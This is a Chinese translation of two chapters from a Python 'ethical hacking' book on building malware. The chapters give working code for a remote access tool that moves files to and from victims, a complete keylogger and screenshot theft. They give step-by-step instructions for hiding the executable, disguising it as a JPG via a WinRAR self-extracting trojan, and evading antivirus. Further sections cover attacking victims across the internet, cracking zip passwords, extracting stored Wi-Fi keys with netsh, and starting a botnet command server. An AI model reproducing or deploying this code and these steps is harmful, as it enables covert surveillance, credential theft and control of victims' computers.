从零开始的 Python 道德黑客(二)
原文:
annas-archive.org/md5/a12c6b25cbae65e56d2f793cb6d14b36译者:飞龙
第七章:高级恶意软件
在上一章中,我们学习了如何创建一个非常简单的恶意软件,该软件执行黑客发送的Windows命令,并返回这些命令的结果。这个程序在仅执行命令方面非常有限。理想情况下,远程访问工具应该具有比这更为高级的功能。本章将给你一个基本的概念,了解你可以在恶意软件程序中编写的更高级功能。我们将在本章中讨论以下内容:
-
文件传输
-
偷窃 Wi-Fi 凭证
-
截取屏幕截图
构建一个键盘记录器文件传输
我们已经在第六章《恶意软件开发》中学习了如何在程序中发送和接收非常基础的数据。在本章中,我们将尝试从一台 PC 到另一台 PC 发送和接收文件,首先是从受害者的 PC 到黑客的 PC,然后从黑客的 PC 到受害者的 PC。这将让我们访问受害者 PC 上的任何敏感文件。例如,假设受害者将他们的密码存储在 PC 上的一个文件中(这是一个非常糟糕的主意;切勿将密码以明文形式存储在 PC 上);那么我们可以简单地读取该文件的内容并将其发送给黑客。让我们看看这个过程是如何工作的。
将受害者的文件下载到黑客的电脑
在这里,我们将修改在第六章《恶意软件开发》中开发的程序,我们运行 Windows 命令来增加文件传输功能(请参见创建恶意软件部分)。首先,我们将添加一个下载功能,将任何文件从受害者的 PC 发送到黑客的 PC,之后再从黑客的 PC 发送到受害者的 PC。为了通过网络发送文件,我们需要执行一些特定的步骤。接下来列出了这些步骤:
-
检查文件是否存在。如果不存在,则抛出错误。
-
如果文件存在,将文件内容读取到程序中。
-
一旦内容被读取,将一个特殊标记添加到数据的末尾,以表示文件传输完成。
-
通过网络发送数据字节。
-
在接收端,接收字节直到匹配标记。
-
一旦标记被识别,移除接收到字节中的标记。
-
将剩余的字节写入到你电脑的文件系统中。
-
关闭连接。
如果你立刻不理解这些步骤也没关系。我们将逐步讲解这些步骤。你可以将这个功能添加到我们在第六章《恶意软件开发》中已经开发的程序中。为了简化操作,使用我们在第六章《恶意软件开发》中创建的黑客和受害者程序。在 Kali 和 Windows PC 上分别为黑客和服务器创建一个新项目,并将其命名为advanced_server和advanced_victim。将前几章的代码复制到相应的项目中,这样你就有了可以继续开发的代码基础。
让我们首先定义如何将文件从受害者发送到黑客。假设在受害者的 PC 上有一个存储受害者密码的文件。这个文件是作为示例使用的。从理论上讲,你可以从受害者的 PC 下载任何你想要的文件。
假设文件名是passwords.txt。让我们通过图形化的策略来看一下,这样可以帮助我们理解这个过程如何在实践中工作:
图 7.1 – 向黑客发送文件
首先,我们需要将受害者的文件名从黑客发送到受害者。我们已经在第六章《恶意软件开发》中学到了如何通过网络发送文本数据,因此这个过程相对直接。在黑客程序中,我们将设计以下策略,发送需要从受害者下载的文件名。如果我们想下载一个名为passwords.txt的文件,我们的命令看起来可能是download passwords.txt。因此,在黑客程序中,我们将检查黑客命令是否以download开头,并为此条件创建一个案例。我们来看一下以下代码。在我们的主循环中,我们检查不同条件的地方,将插入以下检查:
elif command.startswith("download"):
hacker_socket.send(command.encode())
exist = hacker_socket.recv(1024)
第一行检查黑客的命令是否是从受害者那里下载文件。如果是,我们将命令发送给受害者,受害者将回复文件是否存在。根据回复,可以采取进一步的行动。如果文件存在,我们将处理下载文件的情况,否则我们将安全退出程序。现在,让我们稍微停留在黑客程序上,转到受害者程序。在受害者端,我们需要添加一个类似的检查,判断命令是否为download。如果是,我们将从接收到的消息中提取文件名,并检查文件是否存在。进入受害者程序,并在主循环中编写以下检查:
elif hacker_command.startswith("download"):
file_to_download = hacker_command.strip("download ")
if os.path.exists(file_to_download):
exists = "yes"
victim_socket.send(exists.encode())
else:
exists = "no"
victim_socket.send(exists.encode())
continue
在这里,我们接收命令并检查命令的类型。一旦收到包含下载字符串的命令,我们可以从命令中剥离出下载部分,以检索我们感兴趣的实际文件名。在前面代码的第三行中,我们检查文件是否存在。如果存在,我们会回复yes,否则回复no。记住,在黑客程序中,我们在等待接收exists变量的这个回复。请注意,我们还没有发送任何文件数据。我们只是创建了外部循环来正确处理数据的发送和接收。文件的读取部分将在前面代码的第一个if语句中处理。现在,我们需要读取文件。
接下来,让我们看看下面的代码,它从受害者的机器读取文件并将其发送回黑客:
with open(file_to_download, "rb") as file:
chunk = file.read(CHUNK_SIZE)
while len(chunk) > 0:
victim_socket.send(chunk)
chunk = file.read(CHUNK_SIZE)
这将一直运行直到文件结束。
一旦文件传输完成,我们需要发送标识符。 victim_socket.send(eof_identifier.encode())
print("文件成功发送")
让我们来分析一下刚才看到的代码。文件行是一个命令,用于以二进制格式打开并读取文件。尽管它是一个文本文件,但如果你想通过网络传输文件,读取二进制格式的文件是个好主意,因为在实际情况下,文件类型可能是任何格式。接着,我们读取一块字节,并且在文件顶部定义了CHUNK_SIZE = 2048。在读取第一块字节后,我们检查文件是否还有更多字节。如果有,我们就通过使用while循环迭代地将其发送到网络,直到读取到文件的末尾。这个循环将在没有更多字节可读时停止。一旦我们将完整的文件通过网络发送到黑客那里,我们需要发送标识符,以便黑客知道他们可以停止继续读取。为此,我们发送eof_identifier,其值为eof_identifier = "<END_OF_FILE_IDENTIFIER>"。黑客将使用这个标识符来确认接收到的数据已经完整。
接下来,我们需要在黑客程序中接收这些数据。为此,进入黑客程序并检查接收到的exists变量的值。如果受害者的回复是yes,这意味着文件在受害者的机器上存在,我们可以开始下载文件。请注意,我们刚刚开发了一个发送数据的程序,现在我们将在这里接收相同的数据。接收到的数据将是字节形式,我们将把这些字节写入到黑客的 PC 上,以生成与受害者 PC 上相同的文件。让我们看看以下代码:
if exist.decode() == "yes":
print("文件已存在")
在此接收文件
file_name = command.strip("download ")
with open(file_name, "wb") as file:
print("正在下载文件")
while True:
chunk = hacker_socket.recv(CHUNK_SIZE)
file.write(chunk)
if chunk.endswith(eof_identifier.encode()):
chunk = chunk[:-len(eof_identifier)]
file.write(chunk)
break
print("下载成功,", file_name)
如果文件存在,我们将创建一个与file_name同名的新文件。请注意,我们以wb(写入二进制模式)创建文件,这样我们就可以下载任何类型的文件。创建文件后,我们需要写入从受害者处接收到的文件内容。我们定义CHUNK_SIZE变量的大小与受害者在发送数据时定义的大小相同,然后我们开始连续接收数据并写入磁盘,直到接收到文件末尾的标识符。你需要定义与受害者相同的eof_identifier变量,否则程序将无法正常工作。一旦达到标识符,我们就去除标识符,写入剩余的字节到磁盘,并退出循环。最后,我们可以打印出一条语句,指示我们已接收到所有数据。现在我们的程序完成了,使用这个程序,我们可以从受害者下载数据到黑客机器。
黑客的完整代码如下:
github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example10-hacker-advanced/hacker.py
)
同样,发送文件给黑客的受害者完整代码如下:
)
现在,让我们尝试运行这个程序。首先运行黑客程序,然后是受害者程序。
在受害者的 PC 上创建一个名为passwords.txt的文件,并写入一些随机密码:
图 7.2 – 受害者 PC 上的密码文件
接下来,在黑客程序中输入以下命令:download passwords.txt。
现在,运行程序后,你将在黑客的 PC 上看到完全相同的文件:
图 7.3 – 从受害者处下载文件
你将看到在 Kali 机器上创建了一个名为passwords.txt的文件,如果你打开这个文件,它将与受害者 PC 上的文件内容相同:
图 7.4 – 黑客机器上的 passwords.txt 文件
如果你打开文件,你将看到文件的内容。你还可以尝试下载其他类型的文件,如图片,程序同样适用。
上传文件到受害者
上传文件到受害者的过程非常相似,只是数据现在会反向传输。使用这种方法,你可以将其他高级恶意软件上传到受害者的机器并运行它。然而,恶意软件不能直接上传。入侵检测系统(IDS)会检测到它。如果我们尝试直接上传,需要对其他恶意软件进行一些修改才能使用这种方法上传。首先,你需要加密恶意软件的字节并通过网络发送加密数据。让我们尝试理解 IDS 是如何工作的。防病毒软件有一个庞大的恶意文件签名数据库。签名,简单来说,是来自恶意程序的一串字节。因此,如果文件的签名与防病毒程序的数据库匹配,防病毒程序就会知道该文件是恶意软件。为了绕过这一点,我们需要加密数据。一旦恶意软件被加密,它的字节序列就会发生变化,防病毒程序会认为它不是恶意软件。然而,我们仍然需要解密这些文件才能正常运行。假设我们使用刚才开发的方法将加密的恶意软件通过网络发送给受害者。加密文件会被发送到受害者,当我们尝试解密它以恢复原文件时,防病毒程序会立即检测到并阻止该文件。这听起来似乎不是个好消息。然而,如果我们在一个已被添加到防病毒例外文件夹的文件夹中解密文件,我们就能绕过这种检测。这个防病毒程序不会扫描这个文件夹,我们可以成功解密恶意软件并运行它。然而,有一个小小的警告。为了将文件夹添加到防病毒例外中,我们需要管理员权限。稍后我们将在第八章,“后期利用”中,了解如何获取管理员权限。上传文件到黑客程序的代码非常相似,因此在这里讨论就显得多余了。我已经讨论过如何通过网络发送它了。在下一部分,我们将学习如何盗取存储在电脑上的 Wi-Fi 密码。
截取屏幕截图
你还可以使用恶意软件截取受害者电脑的屏幕截图。为此,你需要安装额外的库。我们需要一个叫做pyautogui的模块。这个模块可以帮助你在受害者的电脑上截取屏幕截图:
-
要安装它,请去受害者的机器并输入以下命令进行安装。最好创建一个虚拟环境,并在虚拟环境中安装这个程序:
pip install pyautogui这将安装所需的模块。
-
接下来,我们需要定义截屏的情况。在黑客程序中,创建一个新情况并设置以下条件:
if command == "screenshot":
print("正在截取屏幕截图")
-
同样,在受害者程序中,写下相同的情况:
elif hacker_command == "screenshot":
print("正在截取屏幕截图")
screenshot = pyautogui.screenshot()
screenshot.save("screenshot.png")
print("屏幕截图已保存")
这将把屏幕截图保存在受害者的 PC 上,文件名为
screenshot.pn。 -
让我们运行这个程序,看看输出是什么样的。在黑客的机器上,输出应该是这样的:
图 7.5 – 黑客程序截取的屏幕截图
受害者程序如下所示:
图 7.6 – 受害者程序截取的屏幕截图
-
如果你去受害者的 PC,你会看到有一个名为
screenshot.png的文件保存在磁盘上。你可以使用我们之前学到的方法将该文件传输到黑客的 PC 上。只需在黑客程序中写下以下命令:下载 screenshot.png
这将把屏幕截图移动到黑客的 PC 上。我截取了以下屏幕截图:
图 7.7 – 在 Windows PC 上截取的屏幕截图
在这一部分中,我们学习了如何使用我们的黑客程序截取受害者 PC 的屏幕截图,并将文件传输到黑客的 PC。接下来的部分,我们将学习如何创建一个键盘记录器来追踪受害者的按键记录。
键盘记录器
在这一部分中,我们将构建一个简单的键盘记录器。键盘记录器是一种恶意软件程序,用于记录用户的按键记录。它是最常见的恶意软件类型之一。键盘记录器常用于窃取密码和其他敏感信息,如信用卡信息。键盘记录器通常设计得尽可能安静,这意味着它很难被发现。让我们尝试构建一个简单的键盘记录器。你需要安装一个名为pynput的模块来构建键盘记录器。这个模块允许你通过编程方式访问按键记录:
-
要安装此模块,请使用以下命令:
pip install pynput这将安装模块:
-
一旦模块安装完成,我们可以从该模块导入
keyboard:from pynput import keyboard -
接下来,我们将定义一个监听器,用于监听按键记录。这个监听器会根据不同的事件处理不同的情况。看看以下代码:
with keyboard.Listener(on_press=onPress, on_release=onRelease) as listener:
listener.join()
之前的代码定义了两个函数,分别用于按下和释放按键。当按下一个键时,将调用
onPress函数,而当释放一个键时,将调用onRelease函数。 -
现在我们将定义这些函数。让我们看看这些函数:
def onPress(key):
print(str(key))
def onRelease(key):
if str(key) == 'Key.esc':
return False
我们定义了非常简单的函数。当按下键时,我们只需打印它,而当键被释放时,我们会检查按下了哪个键。如果按下的是Esc键,我们就退出程序,否则继续。这样,我们就有了退出条件,避免了程序卡住。如果我们没有定义这个条件,就无法退出程序,因为按下Ctrl + C会只是打印出信息,而不是退出。为了安全地退出这个函数,我们返回
False值。让我们来看一下一个简单的执行过程:图 7.8 – 打印按下的键
在这张截图中,我们打印了执行程序时按下的键。当我们按下Esc键时,程序退出了。这就是一个非常基础的键盘记录器的全部内容。然而,在实际情况下,你会在受害者的机器上运行这个程序,因此仅仅在控制台打印是没有多大用处的。理想情况下,我们希望保留这些按键记录的日志。很多键盘记录器会将按键记录存储到文件中,黑客可以从中查看是否输入了任何密码或其他敏感信息。
-
现在我们将对我们的键盘记录器进行一些更改,使其更有用。让我们创建一个新的文件名,
keylogs.txt。我们将把日志存储在这个文件中。让我们来看一下代码:
import sys
filename = "keylogs.txt"
file = open(filename, "w")
def onPress(key):
print(str(key))
file.write(str(key))
def onRelease(key):
if str(key) == 'Key.esc':
file.close()
sys.exit(0)
在这里,我们创建了一个写入模式的文件,每次按下一个键时,我们都会将该键存储到文件中。最后,当按下Esc键时,我们关闭文件并退出。如果你启动并运行程序,按下几个键,你会看到创建了一个新文件,所有的按键记录都存储在该文件内。以下是我执行此操作的结果:
图 7.9 – 文件中存储的按键记录
-
你可以在上面的截图中看到,每个字符周围都有引号。我们可以去掉这些引号以提高可读性。为了替换它,我们可以更新以下代码:
def onPress(key):
print(str(key))
stroke = str(key).replace("'", "")
if str(key) == "Key.esc":
file.write(" ")
else:
file.write(stroke)
在这里,我们做了两个改变。首先,在将它们写入文件之前,我们将单引号替换为空字符串;其次,如果按下的是Esc键,我们就不将它写入文件。现在,如果你运行程序,你会看到它只注册字符。
如果你按下任何特殊键,比如Enter或space,你会看到程序记录的是它们的名称,而不是它们的功能,这不是我们想要的。我们希望用户按下空格键时能看到一个空格。为此,我们将做出以下更改:
def onPress(key):
print(str(key))
stroke = str(key).replace("'", "")
if str(key) == "Key.space":
file.write(" ")
elif str(key) == "Key.enter":
file.write("\n")
elif str(key) == "Key.esc":
file.write(" ")
else:
file.write(stroke)
-
我们的键盘记录器几乎完成了。我们只需要做一个最后的修改。我们的键盘记录器不支持退格键。为了添加此功能,看看以下代码:
import os
elif str(key) == "Key.backspace":
file.seek(file.tell()-1, os.SEEK_SET)
file.write("")
这段代码检查是否有退格键,如果遇到退格键,我们会回退一个字符并在其位置放置一个空字符串。这样就替换了文件中原本存储的字符。现在,我们的基本键盘记录器已经完成。它支持字符插入,并且能够注册退格键的操作。键盘记录器的完整代码如下:
from pynput import keyboard
import sys
import os
filename = "keylogs.txt"
file = open(filename, "w")
def onPress(key):
print(str(key))
stroke = str(key).replace("'", "")
if str(key) == "Key.space":
file.write(" ")
elif str(key) == "Key.enter":
file.write("\n")
elif str(key) == "Key.esc":
file.write(" ")
elif str(key) == "Key.backspace":
file.seek(file.tell()-1, os.SEEK_SET)
file.write("")
else:
file.write(stroke)
def onRelease(key):
if str(key) == 'Key.esc':
file.close()
sys.exit(0)
if name == "main":
with keyboard.Listener(on_press=onPress, on_release=onRelease) as listener:
listener.join()
在这一部分,我们学到了如何部署一个简单的键盘记录器。以此为基础,你可以编写一个更为高级的键盘记录器。
总结
在这一章中,我们学到了如何为我们的基础恶意软件添加高级功能。首先,我们添加了受害者到客户端的文件传输支持,接着我们添加了其他功能,如从受害者的计算机截屏并将其发送回黑客。最后,我们编写了自己的键盘记录器。每天,成千上万的恶意软件被编写出来,防病毒程序尝试跟上这些软件的检测进度。编写你自己的恶意软件的优势在于,它不容易被检测程序发现,因为它是你自己编写的,还不存在于防病毒数据库中。这为你提供了更成功的攻击机会。使用我们在本章开发的工具,你将理解如何构建更高级的恶意软件,并且你可以根据需要为它添加更多功能。通过编写自定义恶意软件所获得的技能将为你提供更多隐秘攻击的机会,并减少防病毒程序的检测。
在下一章,我们将看到如何将我们的代码打包成一个独立的可执行文件,并如何将其用于黑客攻击。下一章见!
第八章:利用后阶段
在第七章,《高级恶意软件》中,我们学习了如何为我们的恶意软件程序添加一些高级功能。你可以随意向恶意软件添加任意数量的功能。一旦你完成了代码编写,接下来就是实现部分。你如何打包你的恶意软件并使其可用于部署?在本章中,我们将学习恶意软件部署的以下几个方面:
-
包装恶意软件
-
理解特洛伊木马
-
通过公共 IP 进行攻击
-
破解密码
-
偷窃密码
-
创建僵尸网络
包装恶意软件
我们在第七章,《高级恶意软件》中开发的程序是一个 Python 文件。它还包含一些依赖项。如果没有物理访问权限,运行一个 Python 文件在受害者机器上是非常困难的。这使得我们的程序不太有用,除非我们能将所有内容打包成一个单独的可执行文件,发送给受害者,当受害者打开它时,它能与黑客的计算机建立反向 shell 连接。
将 Python 代码包装成可运行的可执行文件需要包含程序的所有依赖项。这正是我们使用虚拟环境的原因。虚拟环境使得程序能够将所有依赖项集中在一起,这样在我们打包代码时,所有内容,包括 Python 解释器,都被包含在可执行文件中,这样我们就不需要在受害者计算机上安装任何东西,程序就能完美运行。
理解 pyinstaller 库
幸运的是,确实有一种方法可以实现之前提到的目标。这是通过使用一个名为pyinstaller的 Python 库来完成的。它帮助我们将代码打包成一个可执行的二进制文件,Windows 上的扩展名为.exe。要安装pyinstaller,请写入以下命令:
pip install pyinstaller
请注意,执行此命令时应启用虚拟环境,以便我们能确保所有必需的依赖项都可用。打开你的受害者程序,启动高级恶意软件并启用虚拟环境。完成后,使用前面的命令安装pyinstaller。
如果你还没有创建虚拟环境,可以在存放你的 Python 恶意软件文件的文件夹中运行以下命令来创建:
python -m venv myenv
等待一段时间,直到安装完成。一旦完成,你可以通过启动新终端或运行activate.bat脚本(位于脚本文件夹或myenv中)来激活环境。
如果你成功激活了 Python 环境,你将看到类似下面的内容:
图 8.1 – 已启用 Python 环境
请注意,我们在高级恶意软件中使用了一个外部依赖项 pyautogui。我们也需要在虚拟环境中安装这个依赖。如果你的恶意软件中添加了其他需要外部依赖的功能,也需要安装这些依赖。所有依赖项安装完后,你可以通过 pip install pyinstaller 在虚拟环境中安装 pyinstaller。如果一切正确无误,输入 pyinstaller 在命令终端中,你应该看到如下输出:
图 8.2 – pyinstaller 安装
在 图 8.2 中,你可以看到 pyinstaller 可用选项的列表。接下来,要创建一个可执行文件,输入 pyinstaller –onefile advanced_malware.py。这会将所有代码及其依赖项编译成一个单独的文件,并创建以下文件夹结构:
图 8.3 – 文件夹结构
你需要关注的文件夹是 dist 文件夹,它代表了分发(distribution)。你的可执行文件将位于这个文件夹中。现在可以在文件资源管理器中打开这个文件夹:
图 8.4 – 可执行文件
你会找到一个与 Python 文件名相同的可执行文件,它会有 .exe 扩展名。现在,如果你在黑客程序运行时直接运行这个文件,你会获得一个回连。不管受害者的系统是否安装了 Python,这个可执行文件都能正常工作。继续运行你的黑客程序,然后双击这个可执行文件打开它。黑客程序看起来会是这样的:
图 8.5 – 黑客程序
同样,在受害者的电脑上,你会看到一个类似的控制台弹窗:
图 8.6 – 在受害者电脑上运行可执行文件
如果你仔细观察 图 8.6 顶部,你会看到正在运行的可执行文件的名称。你可以清楚地看到,现在我们运行的是一个可执行文件,而不是 Python 脚本,并且实现了相同的目标。
然而,这里有一个小问题。如果受害者点击这个可执行文件,他们将看到一个命令提示符弹出,显示所有正在发生的事情,这显然不是我们想要的,因为这会让受害者警觉到有异常发生。我们希望这个过程在后台进行,以便受害者完全无法察觉。为了隐藏控制台,我们可以在命令中添加以下参数:
pyinstaller –-onefile –-noconsole advanced_malware.py
如果你在黑客程序运行时点击可执行文件,你会发现屏幕上什么也没有发生,因为没有弹出控制台显示,但在后台会建立连接。你可以通过打开任务管理器来查看可执行文件在后台运行:
图 8.7 – 后台进程
在前面的截图中,你可以看到程序正在运行,并且会建立连接。请注意,如果你的程序在受害者机器上没有正确运行命令,请进入你的受害者程序并找到你执行命令的地方,添加以下参数:stdin=subprocess.DEVNULL。完整的命令将如下所示:
output = subprocess.run(["powershell.exe", hacker_command], shell=True, capture_output=True, stdin=subprocess.DEVNULL)
该错误发生的原因是控制台的标准输入没有得到正确处理。如果你在黑客程序中运行任何命令,它应该会正常运行。请看下面的示例,我运行了dir命令:
图 8.8 – 在“无控制台”模式下执行命令
现在我们已经创建了一个相当隐秘的恶意软件,它可以在受害者电脑的后台运行并控制受害者的 PC。但这个程序仍然存在一个小问题,它需要用户点击恶意软件的可执行文件,这对受害者来说可能容易也可能困难。如果用户不太懂技术,你可以轻松地诱使他们运行它,反之则会很困难。现在,我们将把讨论转向木马以及它们是如何工作的。接下来我们将在以下部分中构建一个小型木马恶意软件。
了解木马
在上一部分中,我们创建了一个可以一键运行的可执行文件,之后你将与受害者建立反向连接,但这需要受害者手动打开并点击可执行文件。现在引入了木马的概念。木马是一种隐藏得非常巧妙的恶意软件程序。通常,这些木马恶意软件会与合法软件捆绑或合并,在受害者尝试打开合法应用程序或文件时运行。你会发现,这些病毒很多时候与 PDF 或图像文件合并。将恶意软件隐藏在木马程序中是一个复杂的任务,因为很多时候,你所学到的技巧很快就会在所使用软件的更新中被修补。例如,假设你发现了一个软件漏洞,允许你在文件中嵌入恶意软件。除非你是第一个发现这个漏洞的人,否则很有可能在一两天内就会被修补。
向可执行文件添加图标
如果我们查看在上一节中开发的可执行文件,它有一个 Python 图标,这可能让它看起来像一个 Python 可执行文件。这对于黑客攻击来说不是很有帮助,因为它很容易被检测到。一个方法是为可执行文件添加一个图标,使其看起来像一个图片,而不是可执行文件。这会让用户误以为他们在点击打开一张图片,而实际上,他们正在运行可执行文件。我们可以使用pyinstaller来添加图标。为此,我们需要一个.ico扩展名的图片。
拿一张图片并将其扩展名改为.ico。你可以使用任何在线工具来转换它,应该非常简单。我将使用以下示例网站将我的图片转换为 ICO 格式:online-convert.com。
转换完图片后,将转换后的文件放入与受害者恶意程序相同的目录中。完成后,你可以使用以下命令为可执行文件添加图标。
你可以将文件命名为icon.ico并为pyinstaller编写以下命令:
pyinstaller –-onefile –-noconsole –icon=icon.ico advanced_malware.py
如果你打开dist文件夹,你会看到,现在,代替 Python 图标,你的可执行文件将有一个不同的图标,这取决于你选择的图片。我的文件看起来是这样的:
图 8.9 – 木马图标
在前面的截图中,你可以看到图标已经改变,现在很容易让受害者点击这个文件。如果你点击这个文件,你会看到它在后台与黑客建立了连接,你可以通过 Windows 的任务管理器来验证这一点。
创建你自己的木马
上述木马在某些情况下有效,并且应该足够用了。然而,当用户点击后没有任何反应时,受害者可能会猜到出什么问题了。理想情况下,我们希望当用户点击可执行文件时打开一张图片,并同时与黑客建立反向连接。这样,用户会以为他们只是在打开图片,实际上,他们不仅打开了图片,还为黑客创建了反向 Shell 连接。在本节中,我们将进一步隐藏我们的恶意软件。
要创建一个恶意木马,你将需要四个项目,如下所示:
-
你的恶意软件可执行文件与图标
-
WinRAR程序
-
用于图标的
.jpg格式图片 -
带有
.ico扩展名的图标图片
从这个网站安装WinRAR软件:www.win-rar.com/。
过程应该很简单。完成后,将可执行文件(1)、图片(3)和图标(4)复制到一个新文件夹中。我创建了一个名为trojan的新文件夹,并将这三个项目粘贴在其中:
图 8.10 – 木马内容
第一个advanced_malware.exe是可执行文件,第二个是图标文件,第三个是用于图标的.jpg图片。
现在选择所有三个文件,右键点击选择添加到压缩包选项:
图 8.11 – 添加到压缩包
这将打开一个新的对话框。它看起来是这样的:
图 8.12 – WinRAR 对话框
让我们将文件重命名为wallpaper.jpg。选择最佳压缩方式,并勾选创建 SFX 压缩包框。然后进入高级标签页,打开SFX 选项。
它将打开一个新的对话框。进入更新标签页,选择提取并更新文件和覆盖所有文件:
图 8.13 – SFX 选项
接下来,进入文本和图标标签页,选择浏览按钮,选择icon.ico文件。找到文件并选择它:
图 8.14 – 选择图标
然后进入模式标签页,勾选解压到临时文件夹,同时为静默模式选择隐藏所有:
图 8.15 – SFX 模式
最后,进入设置标签页,在提取后运行字段中写入以下内容:
图 8.16 – 提取后运行
这样可以在提取完成后按顺序运行文件。首先,我们会打开实际展示给受害者的图片,同时在后台运行恶意软件,从而给黑客建立反向连接。
现在一切都已按我们的需求设置完毕。只需点击确定创建压缩文件,它将以wallpaper.jpg为文件名在同一文件夹中创建一个新文件。表面上看,它像是一个普通的图片文件,但如果你打开它,你会看到它会创建一个反向连接,前提是你已经运行了黑客服务器:
图 8.17 – 木马
在图 8.16中,你可以看到我们创建了一个名为wallpaper.jpg的木马。如果你仔细看,可以看到它的类型是应用程序,但在 Windows 中,扩展名默认是隐藏的,我们将wallpaper.jpg添加到了它的名字中,因此它看起来像一个图片。如果你点击该图片,它将打开图片,并同时与黑客建立反向连接。试试看吧。我们当前的恶意软件攻击仅在私有 IP 上有效。接下来的部分,我们将学习如何在公共 IP 上执行相同的攻击。
在公共 IP 上攻击
到目前为止,我们所有的攻击都发生在本地网络中。这要求你作为黑客和受害者必须连接到同一个网络。然而,在许多攻击场景中,情况并非如此。这时,公共 IP 地址就显得非常重要了。在讨论网络基础时,我们已经了解了公共和私有 IP 地址。为了执行成功的攻击,我们需要知道黑客的公共 IP。在黑客机器上,你可以通过访问google.com,输入my public ip,这样会显示你的公共 IP 地址,前提是你没有使用任何 VPN 或网络遮掩工具。它将是一个类似的 32 位地址,由你的 ISP 提供。我的公共 IP 是31.38.10.X,最后 8 位由于隐私问题被屏蔽。你的 IP 地址会根据你所处的位置不同而有所不同。找到它应该不会很难。一旦你得到了公共 IP 地址,去受害者程序中,输入黑客的公共 IP,而不是黑客的私有 IP。
我们的谜题的第一部分完成了。接下来的部分是确保数据包能够成功到达黑客机器。黑客必须能够在指定的端口接收数据包。为此,黑客必须在其路由器设置中启用端口转发。大多数路由器的端口转发默认是关闭的,以确保安全。然而,如果你知道路由器面板的密码,你就可以进行设置。为了访问这些设置,找到你的 Wi-Fi 路由器,背面通常会有一张贴纸,上面写有路由器的服务器地址。它可能是192.168.1.1或者类似的地址。请注意,这取决于你使用的具体路由器,我无法为你提供确切的地址。路由器上还会写有用户名和密码。进入你的路由器设置页面。
一旦进入你的路由器设置,找到端口转发设置。这些设置会根据你的路由器有所不同。在这里,你将看到一个选项,可以选择将数据包转发到哪个端口。输入你为黑客程序使用的端口号并保存设置。现在,你已经完成了设置,能够通过公共 IP 进行攻击了。这将帮助你攻击不在本地网络中的受害者。
破解密码
在本节中,我们将学习如何使用密码数据库破解受密码保护的文件。我们将在本节中尝试破解一个 ZIP 文件。ZIP 文件是一种二进制格式,用于存储以压缩格式保存的文件,并且可以设置密码保护。我们将进行字典攻击。首先让我们了解什么是字典攻击!
字典攻击是一种攻击方式,黑客通过使用一组预定义的密码来猜测受害者的密码。他们通常有一个包含大量密码的数据库文件,并尝试使用这些密码中的一个来看受害者的密码是否与列表中的密码匹配。这个密码列表通常来自于被泄露的密码,这些密码来源于被攻破的网站和其他论坛。因此,你绝不应该为多个网站重复使用相同的密码。如果你在一个网站使用了相同的密码,而该网站被攻破,那么你的所有密码很可能都会被泄露。
你可以在这里找到最常用的密码列表:github.com/danielmiessler/SecLists.
)
该列表包含约 1000 万个密码,并且会定期更新。如果用户使用的密码存储在这个文件中,你就可以轻松破解它。
我从前面提到的 GitHub 仓库下载了一个文件。让我们来看看它的内容。
创建一个新项目,并将仓库中的密码文件存储在该项目中。同时,将密码保护的 ZIP 文件复制到该项目中。我创建了一个名为secret file.txt的虚拟文件,它是 ZIP 格式的并且受密码保护。密码是qwerty,该密码也位于密码数据库文件中。密码文件内容如下:
图 8.18 – 密码数据库文件
要破解这个文件,我们需要使用zipfile Python 库,它是 Python 标准库的一部分,因此无需安装。可以通过以下方式将其导入到你的脚本中:
import zipfile
encrypted_filename= "secret file.zip"
zFile = zipfile.ZipFile(encrypted_filename)
我们将创建一个 ZIP 文件对象,并将加密后的文件名传递给它。接下来,我们还需要以读取模式打开密码数据库文件,以便可以匹配密码:
passFile = open("passwords.txt", "r")
for line in passFile.readlines():
test_password = line.strip("\n").encode('utf-8')
try:
print(test_password)
zFile.extractall(pwd=test_password)
print("找到匹配项")
break
except Exception as err:
pass
在前面的代码中,我们逐一读取密码并进行测试。请注意,为了测试一个密码,它应该是二进制格式,而不是字符串格式。如果密码不匹配,我们只需引发异常并继续测试下一个密码。如果匹配,我们会打印出找到匹配项的语句,并跳出循环。如果你查看目录,你会看到一个新文件夹被创建,这个文件夹包含未加密的文件:
图 8.19 – 密码破解
在这里,我们正在测试各种密码,当密码匹配时,我们提取文件并打破循环,正如你可以清楚地看到密码是qwerty。在本节中,我们学会了如何破解密码保护的文件。在接下来的章节中,我们将学习如何创建僵尸网络,以及它们如何对我们有用。
偷取密码
在本节中,我们将学习如何窃取存储在受害者计算机上的 Wi-Fi 密码。请注意,我们已经讨论过如何使用我们的黑客程序在 Windows 机器上执行命令。我们可以利用这个程序来获取 Wi-Fi 密码。需要注意的是,你的虚拟操作系统可能没有安装 Wi-Fi 驱动程序。我已经安装了该驱动程序。如果你愿意,你可以使用你的主机计算机来完成此任务。
为了访问受害者计算机上存储的接入点,你需要运行以下命令:
netsh wlan show profiles
如果你在命令提示符中运行此命令,你将看到所有与你的计算机连接过的接入点。但我们想要访问的是密码,而不是接入点。以下是我计算机的截图:
图 8.20 – 已连接的接入点
为了获取密码,你需要写出接入点的名称,并为命令提供额外的参数,key=clear。完整的命令如下所示:
netsh wlan show profiles "POCO X3 NFC" key=clear
你将看到类似的输出:
图 8.21 – 获取密码
安全设置中的最后一个字段是此接入点的明文密码。如果你的虚拟操作系统(Windows)上安装了 Wi-Fi 驱动程序,你也可以使用恶意软件程序来运行这些命令。
创建僵尸网络
在第七章中,高级恶意软件,我们开发了一个包含黑客程序和受害者程序的恶意软件程序。当你想要对特定目标进行攻击时,这非常有用。然而,在很多情况下,你可能需要为黑客程序提供一个指挥和控制中心,并让多个受害者程序在不同的计算机上运行并与黑客程序通信,而黑客能够远程控制这些设备。这些就是我们所说的僵尸网络。僵尸网络是运行在不同机器上的小程序,它们与一个指挥控制中心通信。它们被用于许多恶意目的,例如分布式拒绝服务(DDoS)攻击,通过在同一时间生成数百万次请求来使某个网站宕机,或者利用计算机的资源进行加密货币挖掘,等等。
让我们开始创建自己的僵尸网络,并创建不同的 bot 与指挥控制中心进行通信。我们将编写两个程序:一个名为CnC.py,用作指挥控制中心。它的功能与黑客程序类似。另一个程序将命名为bot1.py。你可以创建任意数量的 bot,不过为了演示,我将只创建一个 bot。
创建一个名为bots的新项目,并创建一个名为CnC.py的新 Python 文件。
这应该在 Kali 机器上创建。
我们将需要之前使用过的socket库。让我们从导入开始:
import socket
from threading import Thread
import time
由于我们希望创建多个 bot,我们为每个 bot 使用线程。线程用于创建一个并行运行的单独任务。
接下来,我们将创建一个线程和客户端的列表。客户端在我们这个例子中将是 bot:
